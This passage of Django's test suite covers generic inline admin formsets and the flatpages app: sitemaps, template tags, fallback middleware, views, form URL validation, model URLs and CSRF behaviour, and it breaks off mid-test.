        used in conjunction with `GenericInlineModelAdmin.readonly_fields`
        and when no `ModelAdmin.exclude` is defined.
        """
        class MediaForm(ModelForm):

            class Meta:
                model = Media
                exclude = ['url']

        class MediaInline(GenericTabularInline):
            readonly_fields = ['description']
            form = MediaForm
            model = Media

        class EpisodeAdmin(admin.ModelAdmin):
            inlines = [
                MediaInline
            ]

        ma = EpisodeAdmin(Episode, self.site)
        self.assertEqual(
            list(list(ma.get_formsets_with_inlines(request))[0][0]().forms[0].fields),
            ['keywords', 'id', 'DELETE'])

    def test_custom_form_meta_exclude(self):
        """
        Ensure that the custom ModelForm's `Meta.exclude` is respected by
        `GenericInlineModelAdmin.get_formset`, and overridden if
        `ModelAdmin.exclude` or `GenericInlineModelAdmin.exclude` are defined.
        Refs #15907.
        """
        # First with `GenericInlineModelAdmin`  -----------------

        class MediaForm(ModelForm):

            class Meta:
                model = Media
                exclude = ['url']

        class MediaInline(GenericTabularInline):
            exclude = ['description']
            form = MediaForm
            model = Media

        class EpisodeAdmin(admin.ModelAdmin):
            inlines = [
                MediaInline
            ]

        ma = EpisodeAdmin(Episode, self.site)
        self.assertEqual(
            list(list(ma.get_formsets_with_inlines(request))[0][0]().forms[0].fields),
            ['url', 'keywords', 'id', 'DELETE'])

        # Then, only with `ModelForm`  -----------------

        class MediaInline(GenericTabularInline):
            form = MediaForm
            model = Media

        class EpisodeAdmin(admin.ModelAdmin):
            inlines = [
                MediaInline
            ]

        ma = EpisodeAdmin(Episode, self.site)
        self.assertEqual(
            list(list(ma.get_formsets_with_inlines(request))[0][0]().forms[0].fields),
            ['description', 'keywords', 'id', 'DELETE'])

    def test_get_fieldsets(self):
        # Test that get_fieldsets is called when figuring out form fields.
        # Refs #18681.
        class MediaForm(ModelForm):
            class Meta:
                model = Media
                fields = '__all__'

        class MediaInline(GenericTabularInline):
            form = MediaForm
            model = Media
            can_delete = False

            def get_fieldsets(self, request, obj=None):
                return [(None, {'fields': ['url', 'description']})]

        ma = MediaInline(Media, self.site)
        form = ma.get_formset(None).form
        self.assertEqual(form._meta.fields, ['url', 'description'])

    def test_get_formsets_with_inlines_returns_tuples(self):
        """
        Ensure that get_formsets_with_inlines() returns the correct tuples.
        """
        class MediaForm(ModelForm):
            class Meta:
                model = Media
                exclude = ['url']

        class MediaInline(GenericTabularInline):
            form = MediaForm
            model = Media

        class AlternateInline(GenericTabularInline):
            form = MediaForm
            model = Media

        class EpisodeAdmin(admin.ModelAdmin):
            inlines = [
                AlternateInline, MediaInline
            ]
        ma = EpisodeAdmin(Episode, self.site)
        inlines = ma.get_inline_instances(request)
        for (formset, inline), other_inline in zip(ma.get_formsets_with_inlines(request), inlines):
            self.assertIsInstance(formset, other_inline.get_formset(request).__class__)






from django.conf.urls import include, url
from django.contrib.flatpages.sitemaps import FlatPageSitemap
from django.contrib.sitemaps import views

# special urls for flatpage test cases
urlpatterns = [
    url(r'^flatpages/sitemap\.xml$', views.sitemap,
        {'sitemaps': {'flatpages': FlatPageSitemap}},
        name='django.contrib.sitemaps.views.sitemap'),

    url(r'^flatpage_root', include('django.contrib.flatpages.urls')),
    url(r'^accounts/', include('django.contrib.auth.urls')),
]






import os

FLATPAGES_TEMPLATES = [{
    'BACKEND': 'django.template.backends.django.DjangoTemplates',
    'DIRS': [os.path.join(os.path.dirname(__file__), 'templates')],
    'OPTIONS': {
        'context_processors': (
            'django.contrib.auth.context_processors.auth',
        ),
    },
}]






from __future__ import unicode_literals

from django.apps import apps
from django.contrib.sites.models import Site
from django.test import TestCase
from django.test.utils import modify_settings, override_settings


@override_settings(
    ROOT_URLCONF='flatpages_tests.urls',
    SITE_ID=1,
)
@modify_settings(
    INSTALLED_APPS={
        'append': ['django.contrib.sitemaps', 'django.contrib.flatpages'],
    },
)
class FlatpagesSitemapTests(TestCase):

    @classmethod
    def setUpClass(cls):
        super(FlatpagesSitemapTests, cls).setUpClass()
        # This cleanup is necessary because contrib.sites cache
        # makes tests interfere with each other, see #11505
        Site.objects.clear_cache()

    @classmethod
    def setUpTestData(cls):
        Site = apps.get_model('sites.Site')
        current_site = Site.objects.get_current()
        current_site.flatpage_set.create(url="/foo/", title="foo")
        current_site.flatpage_set.create(url="/private-foo/", title="private foo", registration_required=True)

    def test_flatpage_sitemap(self):
        response = self.client.get('/flatpages/sitemap.xml')
        self.assertIn(b'<url><loc>http://example.com/foo/</loc></url>', response.getvalue())
        self.assertNotIn(b'<url><loc>http://example.com/private-foo/</loc></url>', response.getvalue())






from django.contrib.auth.models import AnonymousUser, User
from django.contrib.flatpages.models import FlatPage
from django.contrib.sites.models import Site
from django.template import Context, Template, TemplateSyntaxError
from django.test import TestCase


class FlatpageTemplateTagTests(TestCase):

    @classmethod
    def setUpTestData(cls):
        # don't use the manager because we want to ensure the site exists
        # with pk=1, regardless of whether or not it already exists.
        cls.site1 = Site(pk=1, domain='example.com', name='example.com')
        cls.site1.save()
        cls.fp1 = FlatPage.objects.create(
            url='/flatpage/', title='A Flatpage', content="Isn't it flat!",
            enable_comments=False, template_name='', registration_required=False
        )
        cls.fp2 = FlatPage.objects.create(
            url='/location/flatpage/', title='A Nested Flatpage', content="Isn't it flat and deep!",
            enable_comments=False, template_name='', registration_required=False
        )
        cls.fp3 = FlatPage.objects.create(
            url='/sekrit/', title='Sekrit Flatpage', content="Isn't it sekrit!",
            enable_comments=False, template_name='', registration_required=True
        )
        cls.fp4 = FlatPage.objects.create(
            url='/location/sekrit/', title='Sekrit Nested Flatpage', content="Isn't it sekrit and deep!",
            enable_comments=False, template_name='', registration_required=True
        )
        cls.fp1.sites.add(cls.site1)
        cls.fp2.sites.add(cls.site1)
        cls.fp3.sites.add(cls.site1)
        cls.fp4.sites.add(cls.site1)

    def test_get_flatpages_tag(self):
        "The flatpage template tag retrieves unregistered prefixed flatpages by default"
        out = Template(
            "{% load flatpages %}"
            "{% get_flatpages as flatpages %}"
            "{% for page in flatpages %}"
            "{{ page.title }},"
            "{% endfor %}"
        ).render(Context())
        self.assertEqual(out, "A Flatpage,A Nested Flatpage,")

    def test_get_flatpages_tag_for_anon_user(self):
        "The flatpage template tag retrieves unregistered flatpages for an anonymous user"
        out = Template(
            "{% load flatpages %}"
            "{% get_flatpages for anonuser as flatpages %}"
            "{% for page in flatpages %}"
            "{{ page.title }},"
            "{% endfor %}"
        ).render(Context({
            'anonuser': AnonymousUser()
        }))
        self.assertEqual(out, "A Flatpage,A Nested Flatpage,")

    def test_get_flatpages_tag_for_user(self):
        "The flatpage template tag retrieves all flatpages for an authenticated user"
        me = User.objects.create_user('testuser', 'test@example.com', 's3krit')
        out = Template(
            "{% load flatpages %}"
            "{% get_flatpages for me as flatpages %}"
            "{% for page in flatpages %}"
            "{{ page.title }},"
            "{% endfor %}"
        ).render(Context({
            'me': me
        }))
        self.assertEqual(out, "A Flatpage,A Nested Flatpage,Sekrit Nested Flatpage,Sekrit Flatpage,")

    def test_get_flatpages_with_prefix(self):
        "The flatpage template tag retrieves unregistered prefixed flatpages by default"
        out = Template(
            "{% load flatpages %}"
            "{% get_flatpages '/location/' as location_flatpages %}"
            "{% for page in location_flatpages %}"
            "{{ page.title }},"
            "{% endfor %}"
        ).render(Context())
        self.assertEqual(out, "A Nested Flatpage,")

    def test_get_flatpages_with_prefix_for_anon_user(self):
        "The flatpage template tag retrieves unregistered prefixed flatpages for an anonymous user"
        out = Template(
            "{% load flatpages %}"
            "{% get_flatpages '/location/' for anonuser as location_flatpages %}"
            "{% for page in location_flatpages %}"
            "{{ page.title }},"
            "{% endfor %}"
        ).render(Context({
            'anonuser': AnonymousUser()
        }))
        self.assertEqual(out, "A Nested Flatpage,")

    def test_get_flatpages_with_prefix_for_user(self):
        "The flatpage template tag retrieve prefixed flatpages for an authenticated user"
        me = User.objects.create_user('testuser', 'test@example.com', 's3krit')
        out = Template(
            "{% load flatpages %}"
            "{% get_flatpages '/location/' for me as location_flatpages %}"
            "{% for page in location_flatpages %}"
            "{{ page.title }},"
            "{% endfor %}"
        ).render(Context({
            'me': me
        }))
        self.assertEqual(out, "A Nested Flatpage,Sekrit Nested Flatpage,")

    def test_get_flatpages_with_variable_prefix(self):
        "The prefix for the flatpage template tag can be a template variable"
        out = Template(
            "{% load flatpages %}"
            "{% get_flatpages location_prefix as location_flatpages %}"
            "{% for page in location_flatpages %}"
            "{{ page.title }},"
            "{% endfor %}"
        ).render(Context({
            'location_prefix': '/location/'
        }))
        self.assertEqual(out, "A Nested Flatpage,")

    def test_parsing_errors(self):
        "There are various ways that the flatpages template tag won't parse"
        def render(t):
            return Template(t).render(Context())

        with self.assertRaises(TemplateSyntaxError):
            render("{% load flatpages %}{% get_flatpages %}")
        with self.assertRaises(TemplateSyntaxError):
            render("{% load flatpages %}{% get_flatpages as %}")
        with self.assertRaises(TemplateSyntaxError):
            render("{% load flatpages %}{% get_flatpages cheesecake flatpages %}")
        with self.assertRaises(TemplateSyntaxError):
            render("{% load flatpages %}{% get_flatpages as flatpages asdf %}")
        with self.assertRaises(TemplateSyntaxError):
            render("{% load flatpages %}{% get_flatpages cheesecake user as flatpages %}")
        with self.assertRaises(TemplateSyntaxError):
            render("{% load flatpages %}{% get_flatpages for user as flatpages asdf %}")
        with self.assertRaises(TemplateSyntaxError):
            render("{% load flatpages %}{% get_flatpages prefix for user as flatpages asdf %}")






from django.conf import settings
from django.contrib.auth.models import User
from django.contrib.flatpages.models import FlatPage
from django.contrib.sites.models import Site
from django.test import TestCase, modify_settings, override_settings
from django.test.utils import ignore_warnings
from django.utils.deprecation import RemovedInDjango20Warning

from .settings import FLATPAGES_TEMPLATES


class TestDataMixin(object):

    @classmethod
    def setUpTestData(cls):
        # don't use the manager because we want to ensure the site exists
        # with pk=1, regardless of whether or not it already exists.
        cls.site1 = Site(pk=1, domain='example.com', name='example.com')
        cls.site1.save()
        cls.fp1 = FlatPage.objects.create(
            url='/flatpage/', title='A Flatpage', content="Isn't it flat!",
            enable_comments=False, template_name='', registration_required=False
        )
        cls.fp2 = FlatPage.objects.create(
            url='/location/flatpage/', title='A Nested Flatpage', content="Isn't it flat and deep!",
            enable_comments=False, template_name='', registration_required=False
        )
        cls.fp3 = FlatPage.objects.create(
            url='/sekrit/', title='Sekrit Flatpage', content="Isn't it sekrit!",
            enable_comments=False, template_name='', registration_required=True
        )
        cls.fp4 = FlatPage.objects.create(
            url='/location/sekrit/', title='Sekrit Nested Flatpage', content="Isn't it sekrit and deep!",
            enable_comments=False, template_name='', registration_required=True
        )
        cls.fp1.sites.add(cls.site1)
        cls.fp2.sites.add(cls.site1)
        cls.fp3.sites.add(cls.site1)
        cls.fp4.sites.add(cls.site1)


@modify_settings(INSTALLED_APPS={'append': 'django.contrib.flatpages'})
@override_settings(
    LOGIN_URL='/accounts/login/',
    MIDDLEWARE=[
        'django.middleware.common.CommonMiddleware',
        'django.contrib.sessions.middleware.SessionMiddleware',
        'django.middleware.csrf.CsrfViewMiddleware',
        'django.contrib.auth.middleware.AuthenticationMiddleware',
        'django.contrib.messages.middleware.MessageMiddleware',
        'django.contrib.flatpages.middleware.FlatpageFallbackMiddleware',
    ],
    ROOT_URLCONF='flatpages_tests.urls',
    TEMPLATES=FLATPAGES_TEMPLATES,
    SITE_ID=1,
)
class FlatpageMiddlewareTests(TestDataMixin, TestCase):

    def test_view_flatpage(self):
        "A flatpage can be served through a view, even when the middleware is in use"
        response = self.client.get('/flatpage_root/flatpage/')
        self.assertContains(response, "<p>Isn't it flat!</p>")

    def test_view_non_existent_flatpage(self):
        "A non-existent flatpage raises 404 when served through a view, even when the middleware is in use"
        response = self.client.get('/flatpage_root/no_such_flatpage/')
        self.assertEqual(response.status_code, 404)

    def test_view_authenticated_flatpage(self):
        "A flatpage served through a view can require authentication"
        response = self.client.get('/flatpage_root/sekrit/')
        self.assertRedirects(response, '/accounts/login/?next=/flatpage_root/sekrit/')
        user = User.objects.create_user('testuser', 'test@example.com', 's3krit')
        self.client.force_login(user)
        response = self.client.get('/flatpage_root/sekrit/')
        self.assertContains(response, "<p>Isn't it sekrit!</p>")

    def test_fallback_flatpage(self):
        "A flatpage can be served by the fallback middleware"
        response = self.client.get('/flatpage/')
        self.assertContains(response, "<p>Isn't it flat!</p>")

    def test_fallback_non_existent_flatpage(self):
        "A non-existent flatpage raises a 404 when served by the fallback middleware"
        response = self.client.get('/no_such_flatpage/')
        self.assertEqual(response.status_code, 404)

    def test_fallback_authenticated_flatpage(self):
        "A flatpage served by the middleware can require authentication"
        response = self.client.get('/sekrit/')
        self.assertRedirects(response, '/accounts/login/?next=/sekrit/')
        user = User.objects.create_user('testuser', 'test@example.com', 's3krit')
        self.client.force_login(user)
        response = self.client.get('/sekrit/')
        self.assertContains(response, "<p>Isn't it sekrit!</p>")

    def test_fallback_flatpage_special_chars(self):
        "A flatpage with special chars in the URL can be served by the fallback middleware"
        fp = FlatPage.objects.create(
            url="/some.very_special~chars-here/",
            title="A very special page",
            content="Isn't it special!",
            enable_comments=False,
            registration_required=False,
        )
        fp.sites.add(settings.SITE_ID)

        response = self.client.get('/some.very_special~chars-here/')
        self.assertContains(response, "<p>Isn't it special!</p>")


@ignore_warnings(category=RemovedInDjango20Warning)
@override_settings(
    MIDDLEWARE=None,
    MIDDLEWARE_CLASSES=[
        'django.middleware.common.CommonMiddleware',
        'django.contrib.sessions.middleware.SessionMiddleware',
        'django.middleware.csrf.CsrfViewMiddleware',
        'django.contrib.auth.middleware.AuthenticationMiddleware',
        'django.contrib.messages.middleware.MessageMiddleware',
        'django.contrib.flatpages.middleware.FlatpageFallbackMiddleware',
    ],
)
class FlatpageMiddlewareClassesTests(FlatpageMiddlewareTests):
    pass


@modify_settings(INSTALLED_APPS={'append': 'django.contrib.flatpages'})
@override_settings(
    APPEND_SLASH=True,
    LOGIN_URL='/accounts/login/',
    MIDDLEWARE=[
        'django.middleware.common.CommonMiddleware',
        'django.contrib.sessions.middleware.SessionMiddleware',
        'django.middleware.csrf.CsrfViewMiddleware',
        'django.contrib.auth.middleware.AuthenticationMiddleware',
        'django.contrib.messages.middleware.MessageMiddleware',
        'django.contrib.flatpages.middleware.FlatpageFallbackMiddleware',
    ],
    ROOT_URLCONF='flatpages_tests.urls',
    TEMPLATES=FLATPAGES_TEMPLATES,
    SITE_ID=1,
)
class FlatpageMiddlewareAppendSlashTests(TestDataMixin, TestCase):

    def test_redirect_view_flatpage(self):
        "A flatpage can be served through a view and should add a slash"
        response = self.client.get('/flatpage_root/flatpage')
        self.assertRedirects(response, '/flatpage_root/flatpage/', status_code=301)

    def test_redirect_view_non_existent_flatpage(self):
        "A non-existent flatpage raises 404 when served through a view and should not add a slash"
        response = self.client.get('/flatpage_root/no_such_flatpage')
        self.assertEqual(response.status_code, 404)

    def test_redirect_fallback_flatpage(self):
        "A flatpage can be served by the fallback middleware and should add a slash"
        response = self.client.get('/flatpage')
        self.assertRedirects(response, '/flatpage/', status_code=301)

    def test_redirect_fallback_non_existent_flatpage(self):
        "A non-existent flatpage raises a 404 when served by the fallback middleware and should not add a slash"
        response = self.client.get('/no_such_flatpage')
        self.assertEqual(response.status_code, 404)

    def test_redirect_fallback_flatpage_special_chars(self):
        "A flatpage with special chars in the URL can be served by the fallback middleware and should add a slash"
        fp = FlatPage.objects.create(
            url="/some.very_special~chars-here/",
            title="A very special page",
            content="Isn't it special!",
            enable_comments=False,
            registration_required=False,
        )
        fp.sites.add(settings.SITE_ID)

        response = self.client.get('/some.very_special~chars-here')
        self.assertRedirects(response, '/some.very_special~chars-here/', status_code=301)

    def test_redirect_fallback_flatpage_root(self):
        "A flatpage at / should not cause a redirect loop when APPEND_SLASH is set"
        fp = FlatPage.objects.create(
            url="/",
            title="Root",
            content="Root",
            enable_comments=False,
            registration_required=False,
        )
        fp.sites.add(settings.SITE_ID)

        response = self.client.get('/')
        self.assertContains(response, "<p>Root</p>")


@ignore_warnings(category=RemovedInDjango20Warning)
@override_settings(
    MIDDLEWARE=None,
    MIDDLEWARE_CLASSES=[
        'django.middleware.common.CommonMiddleware',
        'django.contrib.sessions.middleware.SessionMiddleware',
        'django.middleware.csrf.CsrfViewMiddleware',
        'django.contrib.auth.middleware.AuthenticationMiddleware',
        'django.contrib.messages.middleware.MessageMiddleware',
        'django.contrib.flatpages.middleware.FlatpageFallbackMiddleware',
    ],
)
class FlatpageAppendSlashMiddlewareClassesTests(FlatpageMiddlewareAppendSlashTests):
    pass






from django.conf import settings
from django.contrib.auth.models import User
from django.contrib.flatpages.models import FlatPage
from django.contrib.sites.models import Site
from django.test import TestCase, modify_settings, override_settings

from .settings import FLATPAGES_TEMPLATES


class TestDataMixin(object):

    @classmethod
    def setUpTestData(cls):
        # don't use the manager because we want to ensure the site exists
        # with pk=1, regardless of whether or not it already exists.
        cls.site1 = Site(pk=1, domain='example.com', name='example.com')
        cls.site1.save()
        cls.fp1 = FlatPage.objects.create(
            url='/flatpage/', title='A Flatpage', content="Isn't it flat!",
            enable_comments=False, template_name='', registration_required=False
        )
        cls.fp2 = FlatPage.objects.create(
            url='/location/flatpage/', title='A Nested Flatpage', content="Isn't it flat and deep!",
            enable_comments=False, template_name='', registration_required=False
        )
        cls.fp3 = FlatPage.objects.create(
            url='/sekrit/', title='Sekrit Flatpage', content="Isn't it sekrit!",
            enable_comments=False, template_name='', registration_required=True
        )
        cls.fp4 = FlatPage.objects.create(
            url='/location/sekrit/', title='Sekrit Nested Flatpage', content="Isn't it sekrit and deep!",
            enable_comments=False, template_name='', registration_required=True
        )
        cls.fp1.sites.add(cls.site1)
        cls.fp2.sites.add(cls.site1)
        cls.fp3.sites.add(cls.site1)
        cls.fp4.sites.add(cls.site1)


@modify_settings(INSTALLED_APPS={'append': 'django.contrib.flatpages'})
@override_settings(
    LOGIN_URL='/accounts/login/',
    MIDDLEWARE=[
        'django.middleware.common.CommonMiddleware',
        'django.contrib.sessions.middleware.SessionMiddleware',
        'django.middleware.csrf.CsrfViewMiddleware',
        'django.contrib.auth.middleware.AuthenticationMiddleware',
        'django.contrib.messages.middleware.MessageMiddleware',
        # no 'django.contrib.flatpages.middleware.FlatpageFallbackMiddleware'
    ],
    ROOT_URLCONF='flatpages_tests.urls',
    TEMPLATES=FLATPAGES_TEMPLATES,
    SITE_ID=1,
)
class FlatpageViewTests(TestDataMixin, TestCase):

    def test_view_flatpage(self):
        "A flatpage can be served through a view"
        response = self.client.get('/flatpage_root/flatpage/')
        self.assertContains(response, "<p>Isn't it flat!</p>")

    def test_view_non_existent_flatpage(self):
        "A non-existent flatpage raises 404 when served through a view"
        response = self.client.get('/flatpage_root/no_such_flatpage/')
        self.assertEqual(response.status_code, 404)

    def test_view_authenticated_flatpage(self):
        "A flatpage served through a view can require authentication"
        response = self.client.get('/flatpage_root/sekrit/')
        self.assertRedirects(response, '/accounts/login/?next=/flatpage_root/sekrit/')
        user = User.objects.create_user('testuser', 'test@example.com', 's3krit')
        self.client.force_login(user)
        response = self.client.get('/flatpage_root/sekrit/')
        self.assertContains(response, "<p>Isn't it sekrit!</p>")

    def test_fallback_flatpage(self):
        "A fallback flatpage won't be served if the middleware is disabled"
        response = self.client.get('/flatpage/')
        self.assertEqual(response.status_code, 404)

    def test_fallback_non_existent_flatpage(self):
        "A non-existent flatpage won't be served if the fallback middleware is disabled"
        response = self.client.get('/no_such_flatpage/')
        self.assertEqual(response.status_code, 404)

    def test_view_flatpage_special_chars(self):
        "A flatpage with special chars in the URL can be served through a view"
        fp = FlatPage.objects.create(
            url="/some.very_special~chars-here/",
            title="A very special page",
            content="Isn't it special!",
            enable_comments=False,
            registration_required=False,
        )
        fp.sites.add(settings.SITE_ID)

        response = self.client.get('/flatpage_root/some.very_special~chars-here/')
        self.assertContains(response, "<p>Isn't it special!</p>")


@modify_settings(INSTALLED_APPS={'append': 'django.contrib.flatpages'})
@override_settings(
    APPEND_SLASH=True,
    LOGIN_URL='/accounts/login/',
    MIDDLEWARE=[
        'django.middleware.common.CommonMiddleware',
        'django.contrib.sessions.middleware.SessionMiddleware',
        'django.middleware.csrf.CsrfViewMiddleware',
        'django.contrib.auth.middleware.AuthenticationMiddleware',
        'django.contrib.messages.middleware.MessageMiddleware',
        # no 'django.contrib.flatpages.middleware.FlatpageFallbackMiddleware'
    ],
    ROOT_URLCONF='flatpages_tests.urls',
    TEMPLATES=FLATPAGES_TEMPLATES,
    SITE_ID=1,
)
class FlatpageViewAppendSlashTests(TestDataMixin, TestCase):

    def test_redirect_view_flatpage(self):
        "A flatpage can be served through a view and should add a slash"
        response = self.client.get('/flatpage_root/flatpage')
        self.assertRedirects(response, '/flatpage_root/flatpage/', status_code=301)

    def test_redirect_view_non_existent_flatpage(self):
        "A non-existent flatpage raises 404 when served through a view and should not add a slash"
        response = self.client.get('/flatpage_root/no_such_flatpage')
        self.assertEqual(response.status_code, 404)

    def test_redirect_fallback_flatpage(self):
        "A fallback flatpage won't be served if the middleware is disabled and should not add a slash"
        response = self.client.get('/flatpage')
        self.assertEqual(response.status_code, 404)

    def test_redirect_fallback_non_existent_flatpage(self):
        "A non-existent flatpage won't be served if the fallback middleware is disabled and should not add a slash"
        response = self.client.get('/no_such_flatpage')
        self.assertEqual(response.status_code, 404)

    def test_redirect_view_flatpage_special_chars(self):
        "A flatpage with special chars in the URL can be served through a view and should add a slash"
        fp = FlatPage.objects.create(
            url="/some.very_special~chars-here/",
            title="A very special page",
            content="Isn't it special!",
            enable_comments=False,
            registration_required=False,
        )
        fp.sites.add(settings.SITE_ID)

        response = self.client.get('/flatpage_root/some.very_special~chars-here')
        self.assertRedirects(response, '/flatpage_root/some.very_special~chars-here/', status_code=301)












from __future__ import unicode_literals

from django.conf import settings
from django.contrib.flatpages.forms import FlatpageForm
from django.contrib.flatpages.models import FlatPage
from django.contrib.sites.models import Site
from django.test import TestCase, modify_settings, override_settings
from django.utils import translation


@modify_settings(INSTALLED_APPS={'append': ['django.contrib.flatpages', ]})
@override_settings(SITE_ID=1)
class FlatpageAdminFormTests(TestCase):

    @classmethod
    def setUpTestData(cls):
        # don't use the manager because we want to ensure the site exists
        # with pk=1, regardless of whether or not it already exists.
        cls.site1 = Site(pk=1, domain='example.com', name='example.com')
        cls.site1.save()

    def setUp(self):
        # Site fields cache needs to be cleared after flatpages is added to
        # INSTALLED_APPS
        Site._meta._expire_cache()
        self.form_data = {
            'title': "A test page",
            'content': "This is a test",
            'sites': [settings.SITE_ID],
        }

    def test_flatpage_admin_form_url_validation(self):
        "The flatpage admin form correctly validates urls"
        self.assertTrue(FlatpageForm(data=dict(url='/new_flatpage/', **self.form_data)).is_valid())
        self.assertTrue(FlatpageForm(data=dict(url='/some.special~chars/', **self.form_data)).is_valid())
        self.assertTrue(FlatpageForm(data=dict(url='/some.very_special~chars-here/', **self.form_data)).is_valid())

        self.assertFalse(FlatpageForm(data=dict(url='/a space/', **self.form_data)).is_valid())
        self.assertFalse(FlatpageForm(data=dict(url='/a % char/', **self.form_data)).is_valid())
        self.assertFalse(FlatpageForm(data=dict(url='/a ! char/', **self.form_data)).is_valid())
        self.assertFalse(FlatpageForm(data=dict(url='/a & char/', **self.form_data)).is_valid())
        self.assertFalse(FlatpageForm(data=dict(url='/a ? char/', **self.form_data)).is_valid())

    def test_flatpage_requires_leading_slash(self):
        form = FlatpageForm(data=dict(url='no_leading_slash/', **self.form_data))
        with translation.override('en'):
            self.assertFalse(form.is_valid())
            self.assertEqual(form.errors['url'], ["URL is missing a leading slash."])

    @override_settings(APPEND_SLASH=True, MIDDLEWARE=['django.middleware.common.CommonMiddleware'])
    def test_flatpage_requires_trailing_slash_with_append_slash(self):
        form = FlatpageForm(data=dict(url='/no_trailing_slash', **self.form_data))
        with translation.override('en'):
            self.assertFalse(form.is_valid())
            self.assertEqual(form.errors['url'], ["URL is missing a trailing slash."])

    @override_settings(APPEND_SLASH=False, MIDDLEWARE=['django.middleware.common.CommonMiddleware'])
    def test_flatpage_doesnt_requires_trailing_slash_without_append_slash(self):
        form = FlatpageForm(data=dict(url='/no_trailing_slash', **self.form_data))
        self.assertTrue(form.is_valid())

    @override_settings(
        APPEND_SLASH=True, MIDDLEWARE=None,
        MIDDLEWARE_CLASSES=['django.middleware.common.CommonMiddleware'],
    )
    def test_flatpage_requires_trailing_slash_with_append_slash_middleware_classes(self):
        form = FlatpageForm(data=dict(url='/no_trailing_slash', **self.form_data))
        with translation.override('en'):
            self.assertFalse(form.is_valid())
            self.assertEqual(form.errors['url'], ["URL is missing a trailing slash."])

    @override_settings(
        APPEND_SLASH=False, MIDDLEWARE=None,
        MIDDLEWARE_CLASSES=['django.middleware.common.CommonMiddleware'],
    )
    def test_flatpage_doesnt_requires_trailing_slash_without_append_slash_middleware_classes(self):
        form = FlatpageForm(data=dict(url='/no_trailing_slash', **self.form_data))
        self.assertTrue(form.is_valid())

    def test_flatpage_admin_form_url_uniqueness_validation(self):
        "The flatpage admin form correctly enforces url uniqueness among flatpages of the same site"
        data = dict(url='/myflatpage1/', **self.form_data)

        FlatpageForm(data=data).save()

        f = FlatpageForm(data=data)

        with translation.override('en'):
            self.assertFalse(f.is_valid())

            self.assertEqual(
                f.errors,
                {'__all__': ['Flatpage with url /myflatpage1/ already exists for site example.com']})

    def test_flatpage_admin_form_edit(self):
        """
        Existing flatpages can be edited in the admin form without triggering
        the url-uniqueness validation.
        """
        existing = FlatPage.objects.create(
            url="/myflatpage1/", title="Some page", content="The content")
        existing.sites.add(settings.SITE_ID)

        data = dict(url='/myflatpage1/', **self.form_data)

        f = FlatpageForm(data=data, instance=existing)

        self.assertTrue(f.is_valid(), f.errors)

        updated = f.save()

        self.assertEqual(updated.title, "A test page")

    def test_flatpage_nosites(self):
        data = dict(url='/myflatpage1/', **self.form_data)
        data.update({'sites': ''})

        f = FlatpageForm(data=data)

        self.assertFalse(f.is_valid())

        self.assertEqual(
            f.errors,
            {'sites': [translation.ugettext('This field is required.')]})






# -*- coding: utf-8 -*-

from __future__ import unicode_literals

from django.contrib.flatpages.models import FlatPage
from django.test import SimpleTestCase
from django.test.utils import override_script_prefix


class FlatpageModelTests(SimpleTestCase):

    def test_get_absolute_url_urlencodes(self):
        pf = FlatPage(title="Café!", url='/café/')
        self.assertEqual(pf.get_absolute_url(), '/caf%C3%A9/')

    @override_script_prefix('/beverages/')
    def test_get_absolute_url_honors_script_prefix(self):
        pf = FlatPage(title="Tea!", url='/tea/')
        self.assertEqual(pf.get_absolute_url(), '/beverages/tea/')






from django.contrib.auth.models import User
from django.contrib.flatpages.models import FlatPage
from django.contrib.sites.models import Site
from django.test import Client, TestCase, modify_settings, override_settings
from django.test.utils import ignore_warnings
from django.utils.deprecation import RemovedInDjango20Warning

from .settings import FLATPAGES_TEMPLATES


@modify_settings(INSTALLED_APPS={'append': 'django.contrib.flatpages'})
@override_settings(
    LOGIN_URL='/accounts/login/',
    MIDDLEWARE=[
        'django.middleware.common.CommonMiddleware',
        'django.contrib.sessions.middleware.SessionMiddleware',
        'django.middleware.csrf.CsrfViewMiddleware',
        'django.contrib.auth.middleware.AuthenticationMiddleware',
        'django.contrib.messages.middleware.MessageMiddleware',
        'django.contrib.flatpages.middleware.FlatpageFallbackMiddleware',
    ],
    ROOT_URLCONF='flatpages_tests.urls',
    CSRF_FAILURE_VIEW='django.views.csrf.csrf_failure',
    TEMPLATES=FLATPAGES_TEMPLATES,
    SITE_ID=1,
)
class FlatpageCSRFTests(TestCase):

    @classmethod
    def setUpTestData(cls):
        # don't use the manager because we want to ensure the site exists
        # with pk=1, regardless of whether or not it already exists.
        cls.site1 = Site(pk=1, domain='example.com', name='example.com')
        cls.site1.save()
        cls.fp1 = FlatPage.objects.create(
            url='/flatpage/', title='A Flatpage', content="Isn't it flat!",
            enable_comments=False, template_name='', registration_required=False
        )
        cls.fp2 = FlatPage.objects.create(
            url='/location/flatpage/', title='A Nested Flatpage', content="Isn't it flat and deep!",
            enable_comments=False, template_name='', registration_required=False
        )
        cls.fp3 = FlatPage.objects.create(
            url='/sekrit/', title='Sekrit Flatpage', content="Isn't it sekrit!",
            enable_comments=False, template_name='', registration_required=True
        )
        cls.fp4 = FlatPage.objects.create(
            url='/location/sekrit/', title='Sekrit Nested Flatpage', content="Isn't it sekrit and deep!",
            enable_comments=False, template_name='', registration_required=True
        )
        cls.fp1.sites.add(cls.site1)
        cls.fp2.sites.add(cls.site1)
        cls.fp3.sites.add(cls.site1)
        cls.fp4.sites.add(cls.site1)

    def setUp(self):
        self.client = Client(enforce_csrf_checks=True)

    def test_view_flatpage(self):
        "A flatpage can be served through a view, even when the middleware is in use"
        response = self.client.get('/flatpage_root/flatpage/')
        self.assertContains(response, "<p>Isn't it flat!</p>")

    def test_view_non_existent_flatpage(self):
        "A non-existent flatpage raises 404 when served through a view, even when the middleware is in use"
        response = self.client.get('/flatpage_root/no_such_flatpage/')
        self.assertEqual(response.status_code, 404)

    def test_view_authenticated_flatpage(self):
        "A flatpage served through a view can require authentication"
        response = self.client.get('/flatpage_root/sekrit/')
        self.assertRedirects(response, '/accounts/login/?next=/flatpage_root/sekrit/')
        user = User.objects.create_user('testuser', 'test@example.com', 's3krit')
        self.client.force_login(user)
        response = self.client.get('/flatpage_root/sekrit/')
        self.assertContains(response, "<p>Isn't it sekrit!</p>")

    def test_fallback_flatpage(self):
        "A flatpage can be served by the fallback middleware"
        response = self.client.get('/flatpage/')
        self.assertContains(response, "<p>Isn't it flat!</p>")

    def test_fallback_non_existent_flatpage(self):
        "A non-existent flatpage raises a 404 when served by the fallback middleware"
        response = self.client.get('/no_such_flatpage/')
        self.assertEqual(response.status_code, 404)

    def test_post_view_flatpage(self):
        "POSTing to a flatpage served through a view will raise a CSRF error if no token is provided (Refs #14156)"
        response = self.client.post('/flatpage_root/flatpage/')
